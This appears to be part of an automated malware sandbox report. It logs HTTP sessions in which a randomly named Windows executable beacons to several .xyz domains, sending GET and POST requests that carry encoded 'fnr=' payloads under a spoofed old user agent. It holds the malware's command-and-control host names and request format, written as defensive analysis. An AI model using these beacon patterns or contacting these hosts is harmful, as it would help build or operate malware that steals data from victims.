                                                                                          Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0d 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 0d 0a 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 50 6f 70 70 69 6e 73 3a 34 30 30 2c 37 30 30 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 74 79 70 65 3d 22 74 65 [TRUNCATED]
                                                                                          Data Ascii: <!DOCTYPE html><html lang="en"><head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1"><title>404 Not Found</title><link href="https://fonts.googleapis.com/css?family=Poppins:400,700" rel="stylesheet"><link type="text/css" rel="stylesheet" href="/css/404.css" /></head><body><div id="notfound"><div class="notfound"><div class="notfound-404"><h1>404</h1></div><h2>Oops, The Page you are looking for can't be found!</h2><form class="notfound-search"><input type="text" placeholder="Search..."><button type="button">Search</button></form><a href="/"><span class="arrow"></span>Go Back</a></div></div></body></html>


                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                          20192.168.2.54943869.57.163.227803496C:\Program Files (x86)\tBgivBAYQiSxlmTYKYqbGBogeQiqjdjPlxBQXMkHFYLsfriFtdSvPYCFjMNYVWNwnPRsoRcULAzTPg\yCokjJdvaMLab.exe
                                                                                          TimestampBytes transferredDirectionData
                                                                                          Oct 25, 2024 16:54:42.674261093 CEST488OUTGET /qee5/?fnr=7ZF0pGz5jUnQRg2w4B3wHZ2PBCBTGvudgr1Ca7xOEOc+LbGqR6hjP08XlBebaNnqF6LUXwzP/jRwM7RCYPJKgPSIkm+P+1uad6burAp3nXvIVaqBzphG7ctZqBLd/mSR7Q==&zB=nPlhZPwp4vxtG8 HTTP/1.1
                                                                                          Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                          Accept-Language: en-US,en;q=0.9
                                                                                          Connection: close
                                                                                          Host: www.mtmc.xyz
                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                          Oct 25, 2024 16:54:43.344784975 CEST974INHTTP/1.1 404 Not Found
                                                                                          Date: Fri, 25 Oct 2024 14:54:43 GMT
                                                                                          Server: Apache
                                                                                          Content-Length: 815
                                                                                          Connection: close
                                                                                          Content-Type: text/html; charset=utf-8
                                                                                          Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0d 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 0d 0a 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 50 6f 70 70 69 6e 73 3a 34 30 30 2c 37 30 30 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 74 79 70 65 3d 22 74 65 [TRUNCATED]
                                                                                          Data Ascii: <!DOCTYPE html><html lang="en"><head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1"><title>404 Not Found</title><link href="https://fonts.googleapis.com/css?family=Poppins:400,700" rel="stylesheet"><link type="text/css" rel="stylesheet" href="/css/404.css" /></head><body><div id="notfound"><div class="notfound"><div class="notfound-404"><h1>404</h1></div><h2>Oops, The Page you are looking for can't be found!</h2><form class="notfound-search"><input type="text" placeholder="Search..."><button type="button">Search</button></form><a href="/"><span class="arrow"></span>Go Back</a></div></div></body></html>


                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                          21192.168.2.549439188.114.96.3803496C:\Program Files (x86)\tBgivBAYQiSxlmTYKYqbGBogeQiqjdjPlxBQXMkHFYLsfriFtdSvPYCFjMNYVWNwnPRsoRcULAzTPg\yCokjJdvaMLab.exe
                                                                                          TimestampBytes transferredDirectionData
                                                                                          Oct 25, 2024 16:54:48.432939053 CEST771OUTPOST /483l/ HTTP/1.1
                                                                                          Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                          Accept-Language: en-US,en;q=0.9
                                                                                          Accept-Encoding: gzip, deflate, br
                                                                                          Connection: close
                                                                                          Content-Type: application/x-www-form-urlencoded
                                                                                          Content-Length: 204
                                                                                          Cache-Control: max-age=0
                                                                                          Host: www.zonguldakescortg.xyz
                                                                                          Origin: http://www.zonguldakescortg.xyz
                                                                                          Referer: http://www.zonguldakescortg.xyz/483l/
                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                          Data Raw: 66 6e 72 3d 53 5a 61 41 77 66 4b 6f 67 75 72 7a 52 4d 6e 58 35 35 32 79 67 54 58 33 73 41 65 56 7a 52 6c 64 53 71 68 50 6e 59 73 33 76 58 52 65 44 39 79 44 36 61 45 6b 48 79 54 6d 75 6b 50 5a 5a 68 50 42 61 30 74 73 71 76 54 47 79 4e 41 7a 39 52 66 36 32 78 34 44 68 6f 35 77 72 58 74 71 46 32 74 57 7a 69 73 2f 73 72 5a 37 51 51 7a 4b 44 6e 7a 57 72 36 45 35 55 45 64 44 70 48 78 5a 75 52 30 59 64 65 79 42 6a 6b 77 72 74 73 61 56 75 35 35 57 6f 54 30 53 6f 64 37 5a 32 6b 33 71 4e 72 75 41 49 68 67 57 32 45 33 6b 64 57 2b 37 47 52 50 6b 4e 7a 6f 2b 39 70 79 47 4b 5a 4f 7a 44 4f 55 33 73 38 76 79 54 6a 34 3d
                                                                                          Data Ascii: fnr=SZaAwfKogurzRMnX552ygTX3sAeVzRldSqhPnYs3vXReD9yD6aEkHyTmukPZZhPBa0tsqvTGyNAz9Rf62x4Dho5wrXtqF2tWzis/srZ7QQzKDnzWr6E5UEdDpHxZuR0YdeyBjkwrtsaVu55WoT0Sod7Z2k3qNruAIhgW2E3kdW+7GRPkNzo+9pyGKZOzDOU3s8vyTj4=
                                                                                          Oct 25, 2024 16:54:49.300461054 CEST1064INHTTP/1.1 404 Not Found
                                                                                          Date: Fri, 25 Oct 2024 14:54:49 GMT
                                                                                          Content-Type: text/html; charset=iso-8859-1
                                                                                          Transfer-Encoding: chunked
                                                                                          Connection: close
                                                                                          cf-cache-status: DYNAMIC
                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=l1fjO8fMoIigrL3me44ZNTzh%2For1TV6IEOrQV1EEZo0VEutmpH9R%2FYOXnTxSZm%2FsZwefYjCRZY5LIB1jFDMrejCLqKoNZcZdK%2BijHHLhHx1bmeeDOq0vH8lSGsAFF2%2FaunqBmMYDaGINri0%3D"}],"group":"cf-nel","max_age":604800}
                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                          Server: cloudflare
                                                                                          CF-RAY: 8d830b43fe9a6c6e-DFW
                                                                                          Content-Encoding: gzip
                                                                                          alt-svc: h3=":443"; ma=86400
                                                                                          server-timing: cfL4;desc="?proto=TCP&rtt=1187&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=771&delivery_rate=0&cwnd=234&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
                                                                                          Data Raw: 65 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 54 90 c1 6e c2 30 10 44 ef f9 8a 29 e7 96 85 8a a3 65 a9 25 41 20 a5 14 55 e1 d0 a3 c1 5b 6c 29 d8 d4 d9 14 e5 ef ab 98 4a 6d af b3 6f 76 67 56 dd 95 af cb e6 7d 57 61 dd bc d4 d8 ed 9f eb cd 12 93 07 a2 4d d5 ac 88 ca a6 bc 4d 1e a7 33 a2 6a 3b d1 85 72 72 6e b5 72 6c ac 2e 94 78 69 59 2f 66 0b 6c a3 60 15 fb 60 15 dd c4 42 51 86 d4 21 da 61 f4 cd f5 1f c6 cd 75 a1 2e ba 71 8c c4 9f 3d 77 c2 16 fb b7 1a 57 d3 21 44 c1 c7 c8 21 06 88 f3 1d 3a 4e 5f 9c a6 8a 2e d9 f6 64 ad 17 1f 83 69 db e1 1e 06 ff 02 14 9c 52 4c 79 11 87 63 ec 83 70 62 8b ab f3 2d 43 d2 e0 c3 09 12 d1 77 0c 13 50 8d 70 19 8f fd 99 83 8c ba 33 c1 8e e0 6f b2 9f b3 94 8b 28 ca 0f f8 06 00 00 ff ff 0d 0a 62 0d 0a e3 02 00 59 3c e4 fe 3b 01 00 00 0d 0a 30 0d 0a 0d 0a
                                                                                          Data Ascii: eaTn0D)e%A U[l)JmovgV}WaMM3j;rrnrl.xiY/fl``BQ!au.q=wW!D!:N_.diRLycpb-CwPp3o(bY<;0


                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                          22192.168.2.549440188.114.96.3803496C:\Program Files (x86)\tBgivBAYQiSxlmTYKYqbGBogeQiqjdjPlxBQXMkHFYLsfriFtdSvPYCFjMNYVWNwnPRsoRcULAzTPg\yCokjJdvaMLab.exe
                                                                                          TimestampBytes transferredDirectionData
                                                                                          Oct 25, 2024 16:54:50.978629112 CEST791OUTPOST /483l/ HTTP/1.1
                                                                                          Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                          Accept-Language: en-US,en;q=0.9
                                                                                          Accept-Encoding: gzip, deflate, br
                                                                                          Connection: close
                                                                                          Content-Type: application/x-www-form-urlencoded
                                                                                          Content-Length: 224
                                                                                          Cache-Control: max-age=0
                                                                                          Host: www.zonguldakescortg.xyz
                                                                                          Origin: http://www.zonguldakescortg.xyz
                                                                                          Referer: http://www.zonguldakescortg.xyz/483l/
                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                          Data Raw: 66 6e 72 3d 53 5a 61 41 77 66 4b 6f 67 75 72 7a 58 74 58 58 2f 65 69 79 6f 54 58 30 67 67 65 56 39 78 6c 52 53 71 74 50 6e 63 31 6f 76 46 46 65 41 59 32 44 37 66 6b 6b 45 79 54 6d 32 30 50 42 57 42 50 30 61 30 68 6b 71 71 72 47 79 4e 55 7a 39 53 4c 36 32 69 67 4d 6e 6f 35 2b 6e 33 74 53 49 57 74 57 7a 69 73 2f 73 72 6b 55 51 52 62 4b 44 58 6a 57 70 66 77 2b 4c 30 64 43 75 48 78 5a 71 52 30 55 64 65 7a 6d 6a 6c 63 46 74 75 53 56 75 39 39 57 6d 69 30 52 68 64 37 66 34 45 32 6a 47 5a 79 49 4b 58 77 65 72 53 36 58 45 56 62 42 4f 48 2b 4f 58 52 67 57 75 4a 65 2b 61 4b 47 45 53 2b 31 65 32 66 2f 43 4e 30 74 74 2b 33 52 38 4f 70 55 76 76 4b 6e 73 45 4c 46 56 4e 6b 79 44
                                                                                          Data Ascii: fnr=SZaAwfKogurzXtXX/eiyoTX0ggeV9xlRSqtPnc1ovFFeAY2D7fkkEyTm20PBWBP0a0hkqqrGyNUz9SL62igMno5+n3tSIWtWzis/srkUQRbKDXjWpfw+L0dCuHxZqR0UdezmjlcFtuSVu99Wmi0Rhd7f4E2jGZyIKXwerS6XEVbBOH+OXRgWuJe+aKGES+1e2f/CN0tt+3R8OpUvvKnsELFVNkyD
                                                                                          Oct 25, 2024 16:54:51.887830973 CEST1053INHTTP/1.1 404 Not Found
                                                                                          Date: Fri, 25 Oct 2024 14:54:51 GMT
                                                                                          Content-Type: text/html; charset=iso-8859-1
                                                                                          Transfer-Encoding: chunked
                                                                                          Connection: close
                                                                                          cf-cache-status: DYNAMIC
                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MVRTleYTlOJ0val9%2FcEcYoS1uTsbBPT5YckgnY0BqGrj2ySXEknYDvWnSpx4H67KRQuY21YKY%2BX59o6Hvv0uusIwSaWX3KAOaIslhzvSVUntPsEQ5LjIPkSrOFR0e1pDbAEH8UWhZGdODw8%3D"}],"group":"cf-nel","max_age":604800}
                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                          Server: cloudflare
                                                                                          CF-RAY: 8d830b542d353172-DFW
                                                                                          Content-Encoding: gzip
                                                                                          alt-svc: h3=":443"; ma=86400
                                                                                          server-timing: cfL4;desc="?proto=TCP&rtt=1197&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=791&delivery_rate=0&cwnd=236&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
                                                                                          Data Raw: 66 35 0d 0a 1f 8b 08 00 00 00 00 00 00 03 54 90 c1 6e c2 30 10 44 ef f9 8a 29 e7 96 85 8a a3 65 a9 25 41 20 a5 14 55 e1 d0 a3 c1 5b 6c 29 d8 d4 d9 14 e5 ef ab 98 4a 6d af b3 6f 76 67 56 dd 95 af cb e6 7d 57 61 dd bc d4 d8 ed 9f eb cd 12 93 07 a2 4d d5 ac 88 ca a6 bc 4d 1e a7 33 a2 6a 3b d1 85 72 72 6e b5 72 6c ac 2e 94 78 69 59 2f 66 0b 6c a3 60 15 fb 60 15 dd c4 42 51 86 d4 21 da 61 f4 cd f5 1f c6 cd 75 a1 2e ba 71 8c c4 9f 3d 77 c2 16 fb b7 1a 57 d3 21 44 c1 c7 c8 21 06 88 f3 1d 3a 4e 5f 9c a6 8a 2e d9 f6 64 ad 17 1f 83 69 db e1 1e 06 ff 02 14 9c 52 4c 79 11 87 63 ec 83 70 62 8b ab f3 2d 43 d2 e0 c3 09 12 d1 77 0c 13 50 8d 70 19 8f fd 99 83 8c ba 33 c1 8e e0 6f b2 9f b3 94 8b 28 ca 0f f8 06 00 00 ff ff e3 02 00 59 3c e4 fe 3b 01 00 00 0d 0a 30 0d 0a 0d 0a
                                                                                          Data Ascii: f5Tn0D)e%A U[l)JmovgV}WaMM3j;rrnrl.xiY/fl``BQ!au.q=wW!D!:N_.diRLycpb-CwPp3o(Y<;0


                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                          23192.168.2.549441188.114.96.3803496C:\Program Files (x86)\tBgivBAYQiSxlmTYKYqbGBogeQiqjdjPlxBQXMkHFYLsfriFtdSvPYCFjMNYVWNwnPRsoRcULAzTPg\yCokjJdvaMLab.exe
                                                                                          TimestampBytes transferredDirectionData
                                                                                          Oct 25, 2024 16:54:53.524684906 CEST1808OUTPOST /483l/ HTTP/1.1
                                                                                          Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                          Accept-Language: en-US,en;q=0.9
                                                                                          Accept-Encoding: gzip, deflate, br
                                                                                          Connection: close
                                                                                          Content-Type: application/x-www-form-urlencoded
                                                                                          Content-Length: 1240
                                                                                          Cache-Control: max-age=0
                                                                                          Host: www.zonguldakescortg.xyz
                                                                                          Origin: http://www.zonguldakescortg.xyz
                                                                                          Referer: http://www.zonguldakescortg.xyz/483l/
                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                          Data Raw: 66 6e 72 3d 53 5a 61 41 77 66 4b 6f 67 75 72 7a 58 74 58 58 2f 65 69 79 6f 54 58 30 67 67 65 56 39 78 6c 52 53 71 74 50 6e 63 31 6f 76 46 39 65 41 75 4b 44 36 35 73 6b 46 79 54 6d 6f 6b 50 43 57 42 50 70 61 30 70 67 71 72 57 78 79 50 73 7a 39 77 54 36 68 6a 67 4d 79 59 35 2b 36 6e 74 70 46 32 73 63 7a 69 38 37 73 71 49 55 51 52 62 4b 44 52 6e 57 2f 61 45 2b 4e 30 64 44 70 48 78 46 75 52 31 39 64 65 37 63 6a 6c 59 37 71 65 79 56 75 64 74 57 71 77 63 52 75 64 37 64 2f 45 32 37 47 5a 2f 57 4b 54 6f 34 72 53 6d 39 45 57 4c 42 66 51 50 74 4d 68 77 4a 79 2b 75 63 66 4a 50 6e 47 72 56 65 70 76 50 76 4b 58 30 49 79 57 4e 63 4f 4e 30 35 71 61 65 33 47 38 59 61 4a 55 6a 66 54 30 54 68 37 45 33 2f 34 56 33 4e 69 68 30 31 70 64 64 4b 4b 76 57 71 54 51 6e 6e 57 4f 43 61 33 4c 76 57 66 75 49 57 6b 66 6e 73 31 39 59 73 74 4e 4c 46 39 42 54 58 42 34 44 65 37 4d 6e 51 67 64 6e 57 56 31 68 56 42 67 31 4d 46 43 67 59 31 49 6d 61 75 63 75 52 32 74 6f 4b 45 42 6c 69 71 46 79 31 2f 64 30 4a 45 33 6b 67 6a 4a 36 54 45 56 [TRUNCATED]
                                                                                          Data Ascii: fnr=SZaAwfKogurzXtXX/eiyoTX0ggeV9xlRSqtPnc1ovF9eAuKD65skFyTmokPCWBPpa0pgqrWxyPsz9wT6hjgMyY5+6ntpF2sczi87sqIUQRbKDRnW/aE+N0dDpHxFuR19de7cjlY7qeyVudtWqwcRud7d/E27GZ/WKTo4rSm9EWLBfQPtMhwJy+ucfJPnGrVepvPvKX0IyWNcON05qae3G8YaJUjfT0Th7E3/4V3Nih01pddKKvWqTQnnWOCa3LvWfuIWkfns19YstNLF9BTXB4De7MnQgdnWV1hVBg1MFCgY1ImaucuR2toKEBliqFy1/d0JE3kgjJ6TEVn9dRmwDRDEAtxxHZrcyOM5RzgPfpKI39apUkWBmZsWRVh5B9Qf8bkLfjbdix5M7OLzhI93LbDyP8krmlrY8pYC4EQFXaI1ZT7EYkIdFYWCtvn8W2hM9ZJiif7RJJ2oWsIBqUbpTc20xnJyRXZ+gFSj31XjNmrJVqkPVMlnSmgdYaYe2q2zkNinahJsjGykvUirnw8TpXXyAaD19b/jkxdmjkUc7xuSYOkYEn9+rwF8z4Zf+xUGG1lJmKcmuUv7OADcPO+b2iF3O1Own3snXxDYO19iaQLvYdTLuBuMBWabSnAVoPXrl3ngJzprs5V+T0y+/m9dE9DiTbTCBqz3Hv/0thH+sWU0m75nVTiEnyOQ555Aiczm7H3F5MkgB5fKDnAB9FZ7QUBkU5U+AojaadeKIX/10okzERba7XeACh88m/f9NXDTOPLHRWzSdZmyTxB7NiHk5Zte5Eayxf1ME/1I5GBXFRwSv/nb/R6ca3koU31f3Qc0ysqzsPBWwe5nQCDAwVZ7HQcR9cq0ADQgE7IK6YbqT3K2U9k9Od7fBu0BeTCB1xFaBDTmRBIt3SxOh6WtEdIOSr2BtjTehb/F9nUG5xDj3UInsl/62KSrM9bwURGkbi4pqku4xKJopAdgouiUrcK7lwHgCB4jrY/k+/TODzsUn1B8xbhx [TRUNCATED]
                                                                                          Oct 25, 2024 16:54:54.407021999 CEST1058INHTTP/1.1 404 Not Found
                                                                                          Date: Fri, 25 Oct 2024 14:54:54 GMT
                                                                                          Content-Type: text/html; charset=iso-8859-1
                                                                                          Transfer-Encoding: chunked
                                                                                          Connection: close
                                                                                          cf-cache-status: DYNAMIC
                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nm4ftVKeTHPbR4R1qb3rfucJmrI%2Fg2vMMYIO65QzSZROZcNRnZ2shU8V251f5kGzYUsoXRYAJrI1CAtgz%2F%2Bmin2qQjTXF7YU2eRE2LJsCOHmSmUSnDVY0wlJRNo5ioosuDW7U%2Ff0dk5hTDQ%3D"}],"group":"cf-nel","max_age":604800}
                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                          Server: cloudflare
                                                                                          CF-RAY: 8d830b63cbaf6b28-DFW
                                                                                          Content-Encoding: gzip
                                                                                          alt-svc: h3=":443"; ma=86400
                                                                                          server-timing: cfL4;desc="?proto=TCP&rtt=1820&sent=2&recv=4&lost=0&retrans=0&sent_bytes=0&recv_bytes=1808&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
                                                                                          Data Raw: 66 35 0d 0a 1f 8b 08 00 00 00 00 00 00 03 54 90 c1 6e c2 30 10 44 ef f9 8a 29 e7 96 85 8a a3 65 a9 25 41 20 a5 14 55 e1 d0 a3 c1 5b 6c 29 d8 d4 d9 14 e5 ef ab 98 4a 6d af b3 6f 76 67 56 dd 95 af cb e6 7d 57 61 dd bc d4 d8 ed 9f eb cd 12 93 07 a2 4d d5 ac 88 ca a6 bc 4d 1e a7 33 a2 6a 3b d1 85 72 72 6e b5 72 6c ac 2e 94 78 69 59 2f 66 0b 6c a3 60 15 fb 60 15 dd c4 42 51 86 d4 21 da 61 f4 cd f5 1f c6 cd 75 a1 2e ba 71 8c c4 9f 3d 77 c2 16 fb b7 1a 57 d3 21 44 c1 c7 c8 21 06 88 f3 1d 3a 4e 5f 9c a6 8a 2e d9 f6 64 ad 17 1f 83 69 db e1 1e 06 ff 02 14 9c 52 4c 79 11 87 63 ec 83 70 62 8b ab f3 2d 43 d2 e0 c3 09 12 d1 77 0c 13 50 8d 70 19 8f fd 99 83 8c ba 33 c1 8e e0 6f b2 9f b3 94 8b 28 ca 0f f8 06 00 00 ff ff e3 02 00 59 3c e4 fe 3b 01 00 00 0d 0a 30 0d 0a 0d 0a
                                                                                          Data Ascii: f5Tn0D)e%A U[l)JmovgV}WaMM3j;rrnrl.xiY/fl``BQ!au.q=wW!D!:N_.diRLycpb-CwPp3o(Y<;0


                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                          24192.168.2.549442188.114.96.3803496C:\Program Files (x86)\tBgivBAYQiSxlmTYKYqbGBogeQiqjdjPlxBQXMkHFYLsfriFtdSvPYCFjMNYVWNwnPRsoRcULAzTPg\yCokjJdvaMLab.exe
                                                                                          TimestampBytes transferredDirectionData
                                                                                          Oct 25, 2024 16:54:56.063498974 CEST500OUTGET /483l/?fnr=fbygzoGQ0b2DTciT6qLttgnenBXixzIHNdtp2cltw1BqOYCi94d7GAXkvVySQjnabTNG8v2M8q8xxQCbjzIxxI8jsCFcHmVczxN1vcYZcTvKID7QjtUtIlEekhJgmwZxKw==&zB=nPlhZPwp4vxtG8 HTTP/1.1
                                                                                          Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                          Accept-Language: en-US,en;q=0.9
                                                                                          Connection: close
                                                                                          Host: www.zonguldakescortg.xyz
                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                          Oct 25, 2024 16:54:56.941690922 CEST1106INHTTP/1.1 404 Not Found
                                                                                          Date: Fri, 25 Oct 2024 14:54:56 GMT
                                                                                          Content-Type: text/html; charset=iso-8859-1
                                                                                          Transfer-Encoding: chunked
                                                                                          Connection: close
                                                                                          cf-cache-status: DYNAMIC
                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=y2reWI7Jj%2FzMi6vcz0kr05c6p0rL96oWLfHxUXRGJpGD9iUC7LlmF%2FEdd1X3HOxWPXnf1FicQFu0ipvYoivETXQ6TptHCxCntDSymi%2FVKENUbuxnubxup0d%2FaVynCHfJrfY4NPq%2Fd8yEwF8%3D"}],"group":"cf-nel","max_age":604800}
                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                          Server: cloudflare
                                                                                          CF-RAY: 8d830b73b98846e0-DFW
                                                                                          alt-svc: h3=":443"; ma=86400
                                                                                          server-timing: cfL4;desc="?proto=TCP&rtt=1142&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=500&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
                                                                                          Data Raw: 31 33 62 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 0d 0a 30 0d 0a 0d 0a
                                                                                          Data Ascii: 13b<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>0


                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                          25192.168.2.549443199.59.243.227803496C:\Program Files (x86)\tBgivBAYQiSxlmTYKYqbGBogeQiqjdjPlxBQXMkHFYLsfriFtdSvPYCFjMNYVWNwnPRsoRcULAzTPg\yCokjJdvaMLab.exe
                                                                                          TimestampBytes transferredDirectionData
                                                                                          Oct 25, 2024 16:55:02.274287939 CEST741OUTPOST /mipl/ HTTP/1.1
                                                                                          Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                          Accept-Language: en-US,en;q=0.9
                                                                                          Accept-Encoding: gzip, deflate, br
                                                                                          Connection: close
                                                                                          Content-Type: application/x-www-form-urlencoded
                                                                                          Content-Length: 204
                                                                                          Cache-Control: max-age=0
                                                                                          Host: www.deepfy.xyz
                                                                                          Origin: http://www.deepfy.xyz
                                                                                          Referer: http://www.deepfy.xyz/mipl/
                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
